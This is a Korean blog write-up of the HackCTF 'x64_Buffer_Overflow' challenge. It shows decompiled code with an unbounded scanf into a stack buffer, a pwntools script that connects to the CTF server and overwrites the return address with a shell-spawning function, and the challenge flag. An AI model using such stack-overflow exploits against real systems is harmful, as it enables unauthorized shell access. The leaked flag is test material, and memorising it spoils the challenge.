[HackCTF / pwnable] x64_Buffer_Overflow

2019. 10. 4. 04:16Wargame & CTF/HackCTF

64비트 버퍼 오버플로우 문제이다.


1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]
 
  _isoc99_scanf("%s"&s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n"&s, argv);
  return 0;
}
cs


1
2
3
4
5
6
7
8
9
10
11
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
 
  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash"&path, 0LL);
}
cs


callMeMaybe를 호출하면 쉘이 실행된다. ret에 callMeMaybe의 주소를 넣으면 쉘이 실행될것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= ELF("./64bof_basic")
#p = process("./64bof_basic")
= remote("ctf.j0n9hyun.xyz"3004)
 
payload = ""
payload += "A"*(0x110+0x8)
payload += p64(e.symbols["callMeMaybe"])
 
p.sendline(payload)
p.interactive()
cs


x64_Buffer_Overflow : HackCTF{64b17_b0f_15_51mpl3_700}